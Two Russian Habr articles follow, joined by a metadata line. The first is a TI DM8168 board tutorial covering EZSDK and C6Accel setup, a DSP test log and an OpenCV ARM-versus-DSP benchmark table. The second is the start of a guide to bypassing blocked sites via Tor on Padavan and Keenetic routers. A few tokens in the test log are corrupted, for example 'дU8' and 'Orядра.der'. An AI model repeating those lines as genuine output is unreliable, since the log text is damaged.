Это чудо техники предназначено для широкого спектра решений, таких как видеорегистраторы (DVRs) для наблюдения, системы организации видеоконференций, системы телевизионного вещания, медиасерверы, одноплатные компьютеры, вычислительные шлюзовые машины, маршрутизаторы, серверы, промышленная автоматика, интерфейсы «пользователь-машина» (HMIs), терминалы пунктов обслуживания для сбора данных, машинное зрение, приложения для тестирования, измерения, слежения, контроля и др.
Теперь посмотрим на сам объект. Он состоит из двух блоков печатных плат:
* вычислительный модуль 8168 (сверху);
* дочерняя плата расширения входов-выходов (снизу).
Ввиду большого количества компонентов обратим своё внимание только на особо важные.
На рисунке выше изображён вычислительный модуль 8168 со следующими обозначенными компонентами:
**1.** и **2.** — это переключатели №3 (SW3) и №4 (SW4) соответственно.
Стандартно загрузка платы происходит с флеш-памяти NAND (однако существует много других режимов, например, загрузка с SD-карты), поэтому переключатели №3 и №4 были установлены в нужное положение: SW3[9:0]=”0000010010” и SW4[1:0]=”10” [NAND/SPI].
**3.** Последовательный порт (COM-порт).
**4.** Порт HDMI.
**5.** Порт Ethernet.
**6.** Порт USB.
**7.** Компонентный видеоразъем.
**8.** Слот для SD-карты.
**9.** Гнездо питания.
**10.** Переключатель питания.
**11.** Микропроцессор DM8168 (эмулирует AM3894 и C6A816).
Функциональная диаграмма:
Характерные особенности:
• VLIW-процессор C674x DSP (до 1 ГГц, тип команд – с фиксированной и плавающей точкой).
• RISC-процессор ARM Cortex-A8 (до 1,2 ГГц).
• Укоритель 3D-графики SGX530.
• Подсистема обработки видео высокой чёткости (HDVPSS).
• 3 программируемых сопроцессора обработки видео высокой чёткости (HDVICP2), отвечающих за захват, кодирование, декодирование и анализ нескольких видеопотоков, а также поддерживающих стандарты H.264, MPEG4,H263, VC1/RTV, AVS, RV10, ON2, JPEG, MPEG2, DIVX.
• Широкий набор периферийных модулей:
— 2 канала Gigabit Ethernet;
— 2 канала PCI Express;
— 2 канала SATA с интегрированным физическим уровнем;
— 2 канала USB 2.0 с интегрированным физическим уровнем;
— интерфейсы DDR3, MMC/SD, HDMI и DVI.
Для дальнейшей работы мы подключались к компонентам 3, 5, 9 и настраивали переключатели 1, 2, 10.
#### 2. Описание фреймворка C6Accel
C6Accel – абсолютно бесплатный инструмент разработки ПО от Texas Instruments (TI). Он предназначен для упрощения разработки кода DSP на двухъядерных гетерогенных процессорах SoC от TI, а именно для устройств ARM+DSP, которые запускают Linux на ARM и содержат процессор DSP из семейства C6000.
##### 2.1. Из чего состоит C6Accel?
C6EZAccel состоит из алгоритмов цифровой обработки сигналов, которые придерживаются интерфейса алгоритмов под названием [XDAIS](http://processors.wiki.ti.com/index.php/Category:XDAIS) (eXpressDsp Algorithm Interoperability Standard). TI также предоставляет фреймворк под названием [Codec Engine](http://processors.wiki.ti.com/index.php/Category:Codec_Engine), который позволяет эффективно выполнять алгоритмы, написанные с использованием интерфейса XDAIS. TI поставляет все свои кодеки в рамках ПО для SoC и рекомендует использование Codec Engine. C6EZAccel также состоит из библиотеки на стороне ARM, являющейся надстройкой над Codec Engine, который предоставляет APIs (интерфейсы программирования приложений). А они, в свою очередь, позволяют коду приложения на стороне ARM вызывать выполнение алгоритмов XDAIS на DSP. Эта библиотека содержит в себе управление кешем, преобразование адресов, передачу параметров и обработку ошибок из приложения, работающего на ARM.
##### 2.2. Как работает C6Accel?
Код ARM-приложения (или промежуточное ПО, которое его использует) вызывает C6Accel. Он использует оболочку библиотеки APIs и/или Codec Engine, совместимый c iUniversal APIs, которые, как и VISA APIs, используются для вызова Audio/Video/Speech-кодеков. Потом эти APIs просматривают интерфейс Codec Engine и вызывают алгоритм C6Accel на DSP, который идентифицирует вызов функции и задействует соответствующую функциональность на DSP, используя параметры, переданные из приложения.
#### 3. Использование EZSDK и C6Accel
Достаточно теории, приступим к практике. EZSDK 5.05.02.00 поддерживается только в [Ubuntu 10.04 LTS 32-bit](http://releases.ubuntu.com/10.04) или [Ubuntu 11.10 32-bit](http://releases.ubuntu.com/11.10). Поэтому тем, у кого не установлена одна из этих ОС (конечно же, мы работали под более новой версией), придётся использовать виртуальную машину, например, VirtualBox. Инструкции по её установке и настройке имеются [здесь](http://processors.wiki.ti.com/index.php/How_to_Build_a_Ubuntu_Linux_host_under_VirtualBox).
Далее используются следующие обозначения:
* host $ – команда для выполнения на хосте;
* target # – команда для выполнения на целевой ОС.
##### 3.1. Установка и сборка EZSDK
Перед началом работы с EZSDK следует скачать и установить компилятор С [CodeSourcery Toolchain 2009q-203](http://www.codesourcery.com/sgpp/lite/arm/portal/package4571/public/arm-none-linux-gnueabi/arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2). Просто распакуйте архив в домашнюю директорию.
Скачайте [EZSDK 5.05.02.00](http://software-dl.ti.com/dsps/dsps_public_sw/ezsdk/latest/index_FDS.html) и выполните:
```
host $ sudo ./ezsdk_dm816x-evm_5_05_02_00_setuplinux
```
Запустится установщик. Укажите расположение CodeSourcery Toolchain, т. е. /home/%username%/arm-2009q1/bin, и путь для установки EZSDK – /home/%username%/ezsdk.
Разработчики данного ПО позаботились о нас и сделали интерактивный скрипт (одна из причин строгой привязки к версии OC):
```
host $ export EZSDK="${HOME}/ezsdk"
host $ sudo ${EZSDK}/setup.sh
```
Скрипт установит необходимые пакеты и попросит уточнить:
* путь установки целевой файловой системы – /home/%username%/targetfs;
* путь корневой директории tftp – /tftpboot;
* путь последовательного порта – /dev/ttyUSB0 (для подключения по USB-порту) или /dev/ttyS0 (для подключения по COM-порту);
* ip-адрес хост-машины – у каждого свой (например, у нас 10.54.4.44);
* расположение ядра Linux – 1-е из предложенного списка, т. е. TFTP;
* расположение корневой файловой системы – 1-е из предложенного списка, т. е. NFS;
* имя образа ядра, загружаемого из TFTP – uImage-dm816x-evm.bin;
* создавать ли скрипт для minicom – согласитесь;
* запускать ли сейчас созданный скрипт – откажитесь.
Cкорректируем этот скрипт: откроем его в текстовом редакторе и заменим текст «mem=364M@0x80000000 mem=320M@0x9FC00000» на «mem=364M», так как в дальнейшем невозможно будет загрузить необходимые модули ядра.
Далее, для выполнения каких-либо операций на плате нужно запустить minicom с настройками, указанными в скрипте, командой
```
host $ minicom -S setup_uimage-tftp_fs-nfs.minicom
```
Далее нужно перезапустить плату.
Теперь при сборке EZSDK возникает проблема из-за отсутствия некоторого компонента. Можно починить, распаковав архив [8272.pcie.tar.gz](http://e2e.ti.com/cfs-file.ashx/__key/communityserver-discussions-components-files/717/8272.pcie.tar.gz) в директорию /home/%username%/ezsdk/example-applications.
Наконец соберём EZSDK командами
```
host $ cd ${HOME}/ezsdk
host $ sudo make all
host $ sudo make install
```
##### 3.2. Установка и сборка С6Accel
Скачайте [C6Accel 2.01.00.11](http://software-dl.ti.com/dsps/dsps_public_sw/c6000/web/c6accel/latest/index_FDS.html) и выполните:
```
host $ sudo ./c6accel_2_01_00_11_Linux-x86_Setup.bin
```
Укажите путь установки /home/%username%/c6accel.
Операционная система реального времени SYS/BIOS является составной частью EZSDK, однако версии позже 6.32.02.09 не поддерживают Real Time Data eXchange (RTDX), который необходим при сборке С6Accel. Поэтому установим [SYS/BIOS 6.32.02.09](http://downloads.ti.com/dsps/dsps_public_sw/sdo_sb/targetcontent/bios/sysbios/6_32_02_39/index_FDS.html) специально для С6Accel:
```
host $ sudo ./bios_setuplinux_6_32_02_39.bin
```
Укажите путь установки /home/%username%/c6accel/bios\_6\_32\_02\_39.
Исправим пути в файле Rules.make в /home/%username%/c6accel на следующие:
```
DVSDK_INSTALL_DIR=$(HOME)/ezsdk
TARGETFS_INSTALL_DIR = $(HOME)/targetfs
C6ACCEL_INSTALL_DIR=$(HOME)/c6accel
BIOS_INSTALL_DIR = $(HOME)/c6accel/bios_6_32_02_39
DSPDEVKIT_INSTALL_DIR= $(DVSDK_INSTALL_DIR)/dsp-devkit
LINUXDEVKIT_INSTALL_DIR = $(DVSDK_INSTALL_DIR)/linux-devkit
PLATFORM = dm816x-evm
```
И, в конце концов, соберём С6Accel командами:
```
host $ cd ${HOME}/c6accel
host $ sudo make all
host $ sudo make install
```
##### 3.3. Выполнение теста DSP
Приятно, что C6Accel содержит в себе пример для тестирования выполнения кода на DSP-процессоре. Выполним скрипт загрузки модулей cmem и dsplink (это библиотеки связки ARM и DSP, с помощью которых грузится CodecEngine) и запустим тестирующие приложение.
```
target # cd /opt/c6accel_app/c6accel_dsplib_testapp
target # ./loadmodules_ti8168_c6accel.sh
target # ./c6accel_dsplib_testapp
```
**Ура! По сообщениям в консоли видно, что всё в порядке и ничего не сломано**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Sample application for testing kernels in C6Accel started.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
CERuntime complete
C6Accel handle created
—
Test for Vision/Analytics functions in C6Accel:
—
Testing the function: VLIB\_histogram\_1D\_дU8…
VLIB\_histogram\_1D\_U8 passed the test!
Testing the function: VLIB\_histogram\_1D\_U16…
VLIB\_histogram\_1D\_U16 passed the test!
Testing the function: VLIB\_histogram\_nD\_U16…
VLIB\_histogram\_nD\_U16 passed the test!
Testing the function: VLIB\_weightedHistogram\_1D\_U8…
VLIB\_weightedHistogram\_1D\_U8 passed the test!
Testing the function: VLIB\_weightedHistogram\_nD\_U16…
VLIB\_weightedHistogram\_nD\_U16 failed the test!
VLIB\_unpackMask32 passed the test!
VLIB\_packMask32 passed the test!
VLIB\_subtractBackGroundS16 passed the test!
VLIB\_subtractBackGroundS32 passed the test!
Testing the function: VLIB\_extractLumaFromUYUV…
C6accel test for VLIB\_extractLumaFromUYUV passed the test!
Testing the function: VLIB\_convertUYVYsemipl\_to\_YUVpl…
VLIB\_convertUYVYsemipl\_to\_YUVpl passed the test!
Testing the function: VLIB\_convertUYVYpl\_to\_YUVint…
VLIB\_convertUYVYpl\_to\_YUVint passed the test!
Testing the function: VLIB\_convertUYVYint\_to\_YUVpl…
VLIB\_convertUYVYint\_to\_YUVpl passed the test!
Testing the function: VLIB\_convertUYVYint\_to\_RGBpl…
VLIB\_convertUYVYint\_to\_RGBpl passed the test!
Testing the function: VLIB\_ConvertUYVYint\_to\_YUV420pl…
VLIB\_ConvertUYVYint\_to\_YUV420pl passed the test!
Testing the function: VLIB\_convertUYVYint\_to\_LABpl…
VLIB\_convertUYVYint\_to\_LABpl passed the test!
Testing the function: VLIB\_convertUYVYint\_to\_HSLpl…
VLIB\_convertUYVYint\_to\_HSLpl passed the test!
Testing the function: VLIB\_convertUYVYint\_to\_LABpl\_LUT…
Completed initialization.
VLIB\_convertUYVYint\_to\_LABpl2 passed the test!
Testing VLIB\_harrisScore\_7x7…
VLIB\_harrisScore\_7x7 passed the test!
Initializing Legendre Polynomial
Computing Legendre Moments
Testing the function: VLIB\_legendreMoments…
VLIB\_legendreMoments passed the test!
Testing the function: VLIB\_normalFlow\_16…
VLIB\_normalFlow\_16 passed the test!
Testing the function: VLIB\_kalmanFilter\_4x6 functions…
VLIB\_kalmanFilter\_ VLIB\_recursiveFilterHoriz1stOrderS16…
VLIB\_recursiveFilterHoriz1stOrderS16 passed the test!
Testing VLIB\_recursiveFilterVert1stOrядра.der…
VLIB\_recursiveFilterVert1stOrder passed the test!
Testing VLIB\_recursiveFilterVert1stOrderS16…
VLIB\_recursiveFilterVert1stOrderS16 passed the test!
Testing the function: VLIB\_bhattacharyaDistance\_U32…
VLIB\_bhattacharyaDistance\_U32 passed the test!
Testing the function: VLIB\_L1DistanceS16…
VLIB\_L1DistanceS16 functions passed the test
VLIB\_dilate\_bin\_mask passed the test!
VLIB\_dilate\_bin\_square passed the test!
VLIB\_dilate\_bin\_cross passed the test!
VLIB\_erode\_bin\_mask passed the test!
VLIB\_erode\_bin\_square passed the test!
VLIB\_erode\_bin\_cross passed the test!
Testing VLIB\_trackFeaturesLucasKanade\_7x7…
VLIB\_trackFeaturesLucasKanade\_7x7 passed the test!
VLIB Canny functions Test results:
IMG\_conv\_7x7: passed the test!
VLIB\_xyGradient: passed the test!
VLIB\_nonMaximumSuppressionCanny: passed the test!
VLIB\_doublethresholding: passed the test!
VLIB\_edgeRelaxation: passed the test!
Calling Chained Canny API:
Chained Canny edge detection function failed the test!
Testing the function: VLIB\_integralImage8…
VLIB\_integralImage8 passed the test!
Testing the function: VLIB\_integralImage16…
VLIB\_integralImage16 passed the test!
Testing the function: VLIB\_imagePyramid8…
VLIB\_imagePyramid8 passed the test!
Testing the function: VLIB\_imagePyramid16…
VLIB\_imagePyramid16 passed the test!
Testing the function: VLIB\_gauss5x5PyramidKernel\_8…
VLIB\_gauss5x5PyramidKernel\_8 passed the test!
Testing the function: VLIB\_gauss5x5PyramidKernel\_16…
VLIB\_gauss5x5PyramidKernel\_16 passed the test!
Testing the function: VLIB\_gradientH5x5PyramidKernel\_8…
VLIB\_gradientH5x5PyramidKernel\_8 passed the test!
Testing the function: VLIB\_gradientV5x5PyramidKernel\_8…
VLIB\_gradientV5x5PyramidKernel\_8 passed the test!
VLIB\_initMeanWithLumaS16 passed the test!
VLIB\_updateEWRMeanS16 passed the test!
VLIB\_initMeanWithLumaS32 passed the test!
VLIB\_updateEWRMeanS32 passed the test!
VLIB\_initVarWithConstS32 passed the test!
VLIB\_updateEWRVarianceS32 passed the test!
VLIB\_initVarWithConstS16 passed the test!
VLIB\_updateEWRVarianceS16 passed the test!
VLIB\_updateUWRMeanS16 passed the test!
VLIB\_updateUWRVarianceS16 passed the test!
—
Test for Image processing functions in C6Accel:
—
Tests for Histogram functions successful
Test for Median Filtering functions successful
Tests for Convolution functions successful
Tests for Correlation functions successful
Tests for Sobel Filter successful
Test for Image multiplication functions successful
Tests for Image addition functions successful
Tests for Image substraction functions successful
Tests for Color Space Conversion functions successful
C6accel\_IMG\_ycbcr422pl\_to\_ycbcr422sp() successful
C6accel\_IMG\_ycbcr422sp\_to\_ycbcr422ile() successful
C6accel\_IMG\_ycbcr422sp\_to\_ycbcr420pl successful
—
Test for Fixed point Signal processing functions in C6Accel
—
Tests for FFT functions successful
Tests for Invers FFT functions successful
Test for Auto Correlation function successful
Tests for DoT Product functions successful
Tests for Matrix multiplication successful
Tests for FIR Filtering functions successful
Test for IIR Filter successful
—
Test for Fixed point Math functions in C6Accel
—
Test for Arithmetic RTS functions successful
Tests for Conversion RTS functions successful
Tests for IQmath Conversion functions successful
Tests for Mathematical IQmath functions successful
Tests for Arithmetic IQmath functions successful
Tests for Trignometric IQmath functions successful
—
Test for Floating point Math Functions in C6Accel
—
Test for Arithmetic RTS functions successful
Tests for Conversion RTS functions successful
Tests for Floating point RTS single precision functions successful
Tests for Floating point RTS double precision functions successful
—
Test for Floating point Signal processing Functions in C6accel
—
Test for Floating point DSP FFT function successful
Test for Floating point DSP vector multiplication successful
Test for Floating point DSP vector reciprocal function successful
Test for Floating point DSP vector reciprocal function successful
Test for Floating point DSP vector weighted sum function successful
Test for Floating point DSP vector dot product function executed successful
Tests for Floating point DSP matrix functions successful
Tests for Floating point DSP Matrix Multiplication functions successful
Test for Floating point DSP matrix transpose function successful
Tests for Floating point DSP autocorrelation functions successful
Tests for Floating point DSP convolution functions successful
Test for Floating point DSP FIR filter successful
Test for Floating point DSP Inverse FFT function successful
Test for Floating point DSP BIQUAD Filter successful
Test for Floating point to Double precision successful
Test for Complex to real and imaginary passed successfully
-> Asynchronous Calls
Tests for FFT functions successful
Tests for Sobel Filter successful
Test for Arithmetic RTS functions successful
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
All tests done.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
#### 4. Тест сравнения работы функций OpenCV на ARM и DSP
OpenCV (Open Source Computer Vision Library) – библиотека алгоритмов компьютерного зрения, обработки изображений и численных алгоритмов общего назначения с открытым исходным ко-дом. Библиотека написана на C и C++, однако поддерживается Java, Python и др. Работает под Linux, Windows и Mac OS X.
OpenCV представляет собой простую в использовании библиотеку компьютерного зрения с более чем 500-ми функций, способными работать в реальном времени. Они охватывают множество областей, такие как контроль качества на производстве, системы безопасности, обработку изображений в медицине, пользовательские интерфейсы, стереоскопическое зрение и роботостроение.
Так как библиотека OpenCV является переносимым ПО, её можно скомпилировать в большинстве систем, в которых предусмотрен компилятор C/C++. OpenCV успешно используется на ARM, MIPS, Xscale и других процессорах.
Стоит заметить, что в C6Accel 2.01.00.11 имеются не все функции OpenCV, а лишь 50.
##### 4.1. Установка и сборка OpenCV
Следуйте [инструкциям](http://processors.wiki.ti.com/index.php/Building_OpenCV_for_ARM_Cortex-A8) для сборки [OpenCV 2.2.0](http://opencv.org/downloads.html) под ARM-платформу. При их выполнении помните, что CodeSourcery Toolchain уже установлен.
Скопируем разделяемые библиотеки OpenCV в целевую файловую систему.
```
host $ cp ${HOME}/build/lib/* ${HOME}/targetfs/usr/lib
```
##### 4.2. Сборка и выполнение теста
Первая проблема, с которой пришлось столкнуться, – это ошибка при загрузке изображений. Почему-то не нравятся картинки с расширением png, ошибка локализована в функции cvCreateImage. Ладно, изменим на другое расширение, например, bmp. Это можно сделать так:
```
host $ cd ${HOME}/c6accel/soc/app/c6accel_opencv_testapp/opencv_images
host $ for fname in *.png; do convert "$fname" "$fname.bmp"; done
```
И конечно, не забудем изменить расширения в исходном коде. В файлах appMain.c и c6accel\_opencv\_testfxns.c расположенных в директории /home/%username%/c6accel/soc/app/c6accel\_opencv\_testapp заменим все вхождения строки «.png» на «.png.bmp», для этой цели удобен текстовый редактор gedit с комбинацией клавиш Ctrl+H.
Второй проблемой оказались ошибка при выполнении функции C6Accel\_test\_Matchshapes и отказ работы функции cvFindCornerSubPix (в связи с известным багом <http://code.opencv.org/issues/963>).
В файле appMain.c закомментируем строку с функцией C6Accel\_test\_Matchshapes. А в файле c6accel\_opencv\_testfxns.c закомментируем текст со строки
```
//cvFindCorner SubPix issue to be resolved
```
и включительно до строки
```
printf("Called ARM FindCornerSubPix function (time: %f ms)\n", t_algo / 1000.0 / n);
```
Напоследок соберём и запустим тестовое приложение.
```
host $ cd ${HOME}/c6accel
host $ sudo make opencv_app
host $ sudo make opencv_app_install
target # cd /opt/c6accel_app/c6accel_opencv_testapp
target # ./loadmodules_ti8168_c6accel.sh
target # ./c6accel_opencv_testapp
```
Ура! После долгих мучений всё заработало.
**Результат работы приложения подытожен в таблице**
| | | | | |
| --- | --- | --- | --- | --- |
| **Функция OpenCV** | **Среднее время
выполнения
на ARM, мс** | **Среднее время
выполнения
на DSP, мс** | **Отметка о
выборе
DSP** | **Разница между результатами выполнения
на ARM и DSP (расстояние в пространстве
L2, если не указано иное)** |
| cvCanny | 43.218000 | 42.804000 | **+** | 0.000000 |
| get Affine transform matrix | 0.557000 | 0.411000 | **+** | 0.000000 |
| Affine transform | 46.325000 | 36.554000 | **+** | 7926.342031 |
| 2D Rotation Matrix | 0.314000 | 0.378000 | **-** | 0.000000 |
| Rotation using Affine | 55.380000 | 40.985000 | **+** | 774.451419 |
| cvIntegral | 6.537000 | 8.232000 | **-** | 0.000000 |
| cvMinMaxLoc | 3.083000 | 1.660000 | **+** | Результаты совпадают |
| cvNorm | 1.881000 | 1.336000 | **+** | 0.000000 |
| AddS | 9.573000 | 12.434000 | **-** | 0.000000 |
| AbsDiff | 9.036000 | 14.349000 | **-** | 0.000000 |
| AbsDiffS | 10.555000 | 12.670000 | **-** | 0.000000 |
| Add | 8.931000 | 15.852000 | **-** | 0.000000 |
| cvDilate | 3.182000 | 1.282000 | **+** | 0.000000 |
| cvErode | 3.093000 | 1.281000 | **+** | 0.000000 |
| cvLaplace | 180.171000 | 11.968000 | **+** | 0.000000 |
| cvPyrDown | 4.265000 | 4.917000 | **-** | 0.000000 |
| cvFilter2D | 519.593000 | 21.259000 | **+** | 3651.030129 |
| cvFindContours | 11.915000 | 17.753000 | **-** | Результаты совпадают |
| EqualizeHist | 5.809000 | 8.921000 | **-** | 0.000000 |
| SetZero | 0.634000 | 3.871000 | **-** | 132898.252336 |
| Rectangle | 5.847000 | 1.307000 | **+** |
| Circle | 3.652000 | 3.323000 | **+** |
| Flip | 12.372000 | 12.071000 | **+** | 0.000000 |
| Copy | 2.479000 | 6.072000 | **-** |
| Sobel | 5.463000 | 7.197000 | **-** | 0.000000 |
| ConvertScale | 5.139000 | 6.044000 | **-** |
| Adaptive threshold | 89.986000 | 33.231000 | **+** | 0.000000 |
| cvMulSpectrums | 91.865000 | 15.221000 | **+** | 0.086427 |
| cvDFT | 597.131000 | 99.666000 | **+** |
| cvNormalize | 57.318000 | 13.576000 | **+** |
| cvSmooth | 109.345000 | 57.467000 | **+** | 1771.619316 |
| HoughLines2D | 2314.028000 | 634.262000 | **+** | 46306.904723 |
| cvCornerHarris | 653.550000 | 168.213000 | **+** | 0.136828 |
| cvCornerEigenValsAndVecs | 3430.892000 | 870.525000 | **+** | 350.751214 |
| cvCornerMinEigenVal | 1384.182000 | 1.155000 | **+** | – |
| cvMulSpectrums | 91.711000 | 15.323000 | **+** | 0.086427 |
| cvDFT | 597.707000 | 99.412000 | **+** |
| cvNormalize | 58.782000 | 13.751000 | **+** |
| GoodFeaturesToTrack | 1259.277000 | 279.508000 | **+** | – |
| FindCornerSubPix | – | 449.029000 | |
| cvMatchTemplate | 1576.569000 | 221.753000 | **+** | 3.741657 |
| cvThreshold | 2.182000 | 4.442000 | **-** | 0.000000 |
| cvBoundingRect | 0.036000 | 0.302000 | **-** | Разница между полученными площадями – 0.000000 |
| cvDrawContour | 0.030000 | 0.989000 | **-** |
| cvContourArea | 0.049000 | 0.231000 | **-** |
| Plotting | – | 183.243000 | |
| CvtColor | 16.283000 | 13.804000 | **+** | 0.000000 |
| Resize | 18.357000 | 17.617000 | **+** |
| cvCalcOpticalFlowPyrLK | 2472.993000 | 146.874000 | **+** | Оба результата состоят из 445 особенностей |
| HaarDetectObjects | 2522.499000 | 460.350000 | **+** | Оба результата состоят из 5-ти элементов.
ARM:
0: 46, 48 (42x42)
1: 174, 48 (37x37)
2: 240, 51 (38x38)
3: 110, 48 (40x40)
4: 92, 37 (131x131)
DSP:
0: 47, 49 (40x40)
1: 175, 49 (35x35)
2: 240, 52 (37x37)
3: 17, 198 (34x34)
4: 110, 48 (38x38) |
По результатам можно сделать выводы:
* У некоторых функций имеется разница между результатами выполнения. Архитектура сигнальных процессоров, по сравнению с микропроцессорами общего применения, имеет некоторые особенности, связанные со стремлением максимально ускорить выполнение типовых задач ЦОС. DSP ориентированы, в первую очередь, на многократное выполнение умножения с расчётом «на лету» адресов перемножаемых элементов массивов. Алгоритм, реализованный на различных базовых операциях, может давать различные результаты.
* Не все функции работают быстрее на DSP, чем на ARM. Можно заметить закономерность: это функции базовых операции над матрицами или функции, которые в основном из них состоят. Такие «плохие» функции можно выполнять на ARM, в то время как другие пере-нести на DSP. В случае перегрузки процессора ARM использование некоторых «плохих» функций на DSP может быть терпимым.
* При использовании «хороших» функции на DSP можно достичь улучшения в разы и даже более чем на порядок. Это, как правило, наиболее трудоёмкие функции.
Таким образом, балансируя между быстродействием, загрузкой процессоров и результатами выполнения можно существенно оптимизировать работу приложения.
Полезные ссылки:
1. [Плата DM816x/C6A816x/AM389x](http://www.ti.com/tool/tmdxevm8168)
2. [Загрузка DM816x](http://processors.wiki.ti.com/index.php/DM816x_AM389x_PSP_U-Boot)
3. [Руководство пользователя EZSDK](http://downloads.ti.com/dsps/dsps_public_sw/ezsdk/latest/exports/DM816x_EZ_Software_Developers_Guide.pdf)
4. [Фреймворк C6Accel](http://processors.wiki.ti.com/index.php/C6EZAccel)
5. [Хорошая книга по OpenCV](http://www.cs.haifa.ac.il/~dkeren/ip/OReilly-LearningOpenCV.pdf) + [частичный перевод на русский](http://locv.ru/)
6. [Статья о применении OpenCV на процессорах ARM и DSP](http://www.ti.com/lit/wp/spry175/spry175.pdf) | https://habr.com/ru/post/248591/ | null | ru | null |
# Выборочный обход блокировок на маршрутизаторах с прошивкой Padavan и Keenetic OS
Инструкций с разными вариантами обхода блокировок Интернет-ресурсов опубликовано огромное количество. Но тема не теряет актуальности. Даже всё чаще звучат инициативы на законодательном уровне заблокировать статьи о методах обхода блокировок. И появились слухи, что Роскомнадзор получит ещё одну пачку денег налогоплательщиков на «более лучшие» блокировки. Опытные пользователи ничего нового и полезного из статьи не узнают. А вот другие получат готовые пошаговые инструкции для простого и эффективного выборочного обхода блокировок на популярных маршрутизаторах с прошивкой Padavan и Keenetic.
Содержание
==========
* [Введение](#con1)
* [Как вы будете управлять обходом блокировок после настройки?](#con11)
* [Принцип работы](#con12)
* [Настройка маршрутизатора с прошивкой Padavan](#con2)
* [Настройка маршрутизатора с Keenetic OS](#con3)
* [Основные методы диагностики ошибок после настройки](#con31)
* [Дополнительный обход фильтрации DNS-запросов провайдером](#con4)
Введение
========
Я около двух лет использовал [вариант обхода блокировок](https://habr.com/post/270657/) от [Zolg](https://habr.com/users/Zolg/). На нём основываются многие инструкций в сети. Моя в том числе.
Всё было хорошо, но «лучшее всегда враг хорошего». Во-первых, некоторые новые программы стали слишком «умными» и резолвят домены собственными методами, минуя DNS-сервер маршрутизатора. Это не позволяет dnsmasq на маршрутизаторе добавить адрес во множество ipset для разблокировки и приводит к закономерному результату — ресурс остаётся заблокированным. В Android 9 вообще появилась штатная поддержка DNS-over-TLS, т.е. этот метод обхода блокировки перестаёт работать (если другое устройство ранее не обращалось к dnsmasq). Во-вторых, обновление всего списка доменов из antizapret приводит к непредсказуемым результатам каждый раз. В список могут попасть домены, которые в реальности не заблокированы, и работа которых важна через основной канал. Нужно постоянно быть начеку и руками править сгенерированные файлы. В-третьих, надоело «таскать за собой» огромный список доменов с десятком тысяч казино и подобные, которые просто не нужны. Со временем я понял, что мне нужен лишь небольшой конкретный список заблокированных ресурсов.
Так что я год уже использую немного изменённый метод разблокировки, которым полностью удовлетворён:
* Простота и лёгкость управления (после настройки).
* Полный контроль над тем, какие ресурсы нужно разблокировать.
* Минимальные требования к ресурсам процессора и ОЗУ маршрутизатора.
* Широкий охват нюансов при обходе блокировок.
Важно отметить, что мой вариант не предназначен для случая, когда вам нужно разблокировать сотни и тысячи доменов. Потому что при старте маршрутизатора происходит резолвинг каждого домена из заданного списка. Чем больше доменов в списке, тем дольше будет происходить инициализация множества ipset для разблокировки.
Основа обхода блокировок та же — сеть Tor. Её использование обусловлено двумя простыми факторами— бесплатность, и вероятность того, что Tor будет заблокирован в России, близка к нолю, в отличие от любого VPN-сервиса. Tor является фундаментом наркотрафика в России от среднего звена до самых низов. Блокировка Tor приведёт к поиску новых инструментов для рынка и снижению уровню анонимности, что повлечёт за собой успешную активизацию работы локальных правоохранительных органов. В конечном итоге это, как вирус, начнёт негативно влиять на верхнее звено. Учитывая последние удивительные новости о связях высших должностных лиц государства с глобальным наркотрафиком в Россию, блокировка Tor в России — это просто табу, хоть она и тривиальная. Ни Роскомнадзор, какие бы миллиарды не выделялись этому ведомству, ни один суд в России не имеют разрешения «сверху» для блокировки Tor. И это уже даже никого не удивляет и не пугает, хоть Россия просто утопает в наркотиках (любой школьник знает, что такое «дакнет», и через 30 минут имеет фактическую возможность в любом городе с населением от 10 тыс. человек беспрепятственно получить любые наркотики практически в любых количествах — такая злая правда жизни). При текущем режиме вероятность блокировки сети Tor ниже, чем вероятность блокировки сайта музея Эрмитаж.
Приведённую инструкцию легко адаптировать для маршрутизаторов с OpenWrt. Также, небольшими изменениям легко заменить Tor на OpenVPN.
Как вы будете управлять обходом блокировок после настройки?
===========================================================
Всё очень просто. У вас есть файл /opt/etc/unblock.txt — простой список для разблокировки. Вы можете разблокировать домен, IP-адрес, диапазон адресов или CIDR. Одна строка — один элемент. Допускаются пустые строки, и можно использовать символ # в начале строки для игнорирования.
**Вот пример моего личного файла**
```
###Торрент-трекеры
rutracker.org
rutor.info
rutor.is
mega-tor.org
kinozal.tv
nnm-club.me
nnm-club.ws
tfile.me
tfile-home.org
tfile1.cc
megatfile.cc
megapeer.org
megapeer.ru
tapochek.net
tparser.org
tparser.me
rustorka.com
uniongang.tv
fast-torrent.ru
###Каталоги медиаконтента для программ
rezka.ag
hdrezka.ag
hdrezka.me
filmix.co
filmix.cc
seasonvar.ru
###Книги
lib.rus.ec
flibusta.is
flibs.me
flisland.net
flibusta.site
###Телеграм
telegram.org
tdesktop.com
tdesktop.org
tdesktop.info
tdesktop.net
telesco.pe
telegram.dog
telegram.me
t.me
telegra.ph
web.telegram.org
desktop.telegram.org
updates.tdesktop.com
venus.web.telegram.org
flora.web.telegram.org
vesta.web.telegram.org
pluto.web.telegram.org
aurora.web.telegram.org
149.154.160.0/20
91.108.4.0/22
91.108.8.0/22
91.108.12.0/22
91.108.16.0/22
91.108.56.0/22
109.239.140.0/24
67.198.55.0/24
###Разное
7-zip.org
edem.tv
4pna.com
2019.vote
###Проверка Tor
check.torproject.org
